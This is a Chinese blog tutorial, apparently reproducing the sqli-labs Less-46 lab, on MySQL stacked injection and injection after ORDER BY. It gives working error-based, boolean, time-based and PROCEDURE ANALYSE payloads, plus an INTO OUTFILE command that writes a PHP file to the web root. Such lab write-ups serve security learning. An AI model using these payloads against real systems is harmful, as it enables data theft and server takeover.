首页 > 数据库 >【1.0版】【MYSQL安全】sql注入系列:堆叠注入

【1.0版】【MYSQL安全】sql注入系列:堆叠注入

时间:2024-08-11 21:16:55浏览次数:16  
标签:rand sql 堆叠 报错 MYSQL com 注入

主题

sql注入系列:堆叠注入

原理

mysql数据库sql语句的默认结束符是以;结尾,在执行多条SQL语句时就要使用结束符隔开,那么在;结束一条sql语句后继续构造下一条语句,是否会一起执行

我们发现确实同时执行了,那么在实际中我们引号闭合之后也有可能可以进行堆叠注入,但是堆叠注入和开发也有一定的关系,堆叠注入的局限性在于并不是每一个环境下都可以执行, 可能受到 API 或者数据库引擎不支持的限制, 当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

order by后的注入

字面意思就是我们传的参数只能在order by之后

解决方案① 报错注入

http://sql.com/Less-46/?sort=(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)))

我在复现的过程中,发现了无论输入啥,页面都不变,经过度娘的一番解释,终于找到问题所在了。

问题原因: PHP版本不兼容,更换PHP版本即可

解决:将php版本换为5.4 .45老版本

直接进行select查询,因为只要报错就会停止返回报错信息,我们不需要管是否排序或者排序是否会报错

我们之前说rand里面添加数值他的内容就不会改变了

我们记住rand为true或者false的排序方式,和以下payload的返回结果进行判断来判断结果是否正确

http://sql.com/Less-46/?sort=rand(ascii(left(database(),1))=115)
#payload
http://sql.com/Less-46/?sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep(5))

rand函数是看返回结果,那我们直接用延迟函数看网站是否延迟会更方便

此方法仅适用于5.0.0<mysql<5.6.6的版本

PROCEDURE ANALYSE 通过分析select查询结果对现有的表的每一列给出优化的建议利用 procedure analyse 参数, 我们可以执行报错注入。

同时, 在 procedure analyse 和order by 之间可以存在 limit 参数, 我们在实际应用中, 往往也可能会存在 limit 后的注入, 可以
利用 procedure analyse 进行注入。

报错注入

#payload:
http://sql.com/Less-46/?sort=1%20procedure%20analyse(extractvalue(rand(),concat(0x7e,database())),1)

图片

写入shell

http://sql.com/Less-46/?sort=1 into outfile "D:\\phpstudy_pro\\WWW\\phpinfo.php" lines terminated by 0x3c3f70687020706870696e666f2829203f3e;

https://mp.weixin.qq.com/s/tAG-r-zpdY8F-7gikTYNFQ

标签:rand,sql,堆叠,报错,MYSQL,com,注入
From: https://www.cnblogs.com/o-O-oO/p/18353668

相关文章

  • 【1.0版】【MYSQL安全】导入导出相关操作
    主题导入导出相关操作一、load_file()二、intooutfile一、load_file()load_file(file_name):读取文件并返回该文件的内容作为一个字符串使用条件:A、必须有权限读取并且文件必须完全可读and(selectcount()frommysql.user)>0#如果结果返回正常,说明具有读写......
  • mysql 相关
    1.mysql索引1.1mysql为什么使用b+树做索引mysql的索引主要有hash索引以及B+树索引对于索引,一般就是为了加快数据访问而存在的,所以索引要求的就是效率而mysql索引数据一般是存储在磁盘的,磁盘与内存的交互存在IO,而IO是硬件问题,没法解决,剩下的能解决的也就是IO次数以及......
  • 最全MySQL面试20题和答案(三)
    视图1.为什么要使用视图?什么是视图?为了提高复杂SQL语句的复用性和表操作的安全性,MySQL数据库管理系统提供了视图特性。所谓视图,本质上是一种虚拟表,在物理上是不存在的,其内容与真实的表相似,包含一系列带有名称的列和行数据。但是,视图并不在数据库中以储存的数据值形式存在。......
  • mysql数据库:DCL:管理用户,授权
    mysql数据库:DCL:管理用户,授权管理用户添加用户关闭密码复杂验证setglobalvalidate_password_policy=0;setglobalvalidate_password_length=1;语法CREATEUSER'用户名'@'主机名'IDENTIFIEDBY'密码';例子CREATEUSER'zhangsan'@'localhost&#......
  • mysql数据库:多表查询
    mysql数据库:多表查询准备sql--创建部门表CREATETABLEdept(idINTPRIMARYKEYauto_increment,NAMEVARCHAR(20));--插入数据INSERTINTOdept(NAME)VALUES('开发部'),('市场部'),('财务部');--创建员工表CREATETABLEemp(idINTPRIMARYK......
  • MySQL 数据类型详解
    MySQL是一种广泛使用的关系型数据库管理系统,它支持多种数据类型以满足各种应用场景的需求。本文将详细介绍MySQL支持的数据类型、它们的使用场景以及实现原理,并通过图示帮助读者更直观地理解。目录简介数值类型整型浮点型定点型日期和时间类型字符串类型字符串二进制字......
  • Chapter 32 MySQL入门
    欢迎大家订阅【Python从入门到精通】专栏,一起探索Python的无限可能!文章目录前言一、SQL语言二、数据库三、MySQL的安装四、图形化工具DBeaver前言随着数据量的急剧增长,数据库管理系统在现代软件开发中扮演着至关重要的角色。MySQL作为一种流行的开源数据库,以其高......
  • MySQL 数据类型详解
    MySQL是一种广泛使用的关系型数据库管理系统,它支持多种数据类型以满足各种应用场景的需求。本文将详细介绍MySQL支持的数据类型、它们的使用场景以及实现原理,并通过图示帮助读者更直观地理解。目录简介数值类型整型浮点型定点型日期和时间类型字符串类型字符串二进制字......
  • Windows11 24H2 + MSSQL 2022 Developer安装匹配
    时间一晃好久没折腾这个了,因LenovoG500太老破旧(Windows7+MSSQL2014Developer,不想折腾更换),直到6月份挂掉再维修也没价值了,只好临时用了另外一个AcerASpire4750(8G+120GSSD),当时其实也没打算更换到Windows10,只是之前的U盘启动盘坏掉,临时做了个其他U盘启动盘(非老毛桃、大白菜......
  • 通过示例了解 .NET Core 中的依赖注入
    依赖注入(DI)是一种用于实现IoC(控制反转)的设计模式,可以更好地解耦应用程序内的依赖关系并更轻松地管理它们。.NETCore内置了对依赖注入的支持,提供了一种有效管理依赖关系的强大方法。一.什么是依赖注入?依赖注入是一种技术,其中一个对象提供另一个对象的依赖项。“依赖......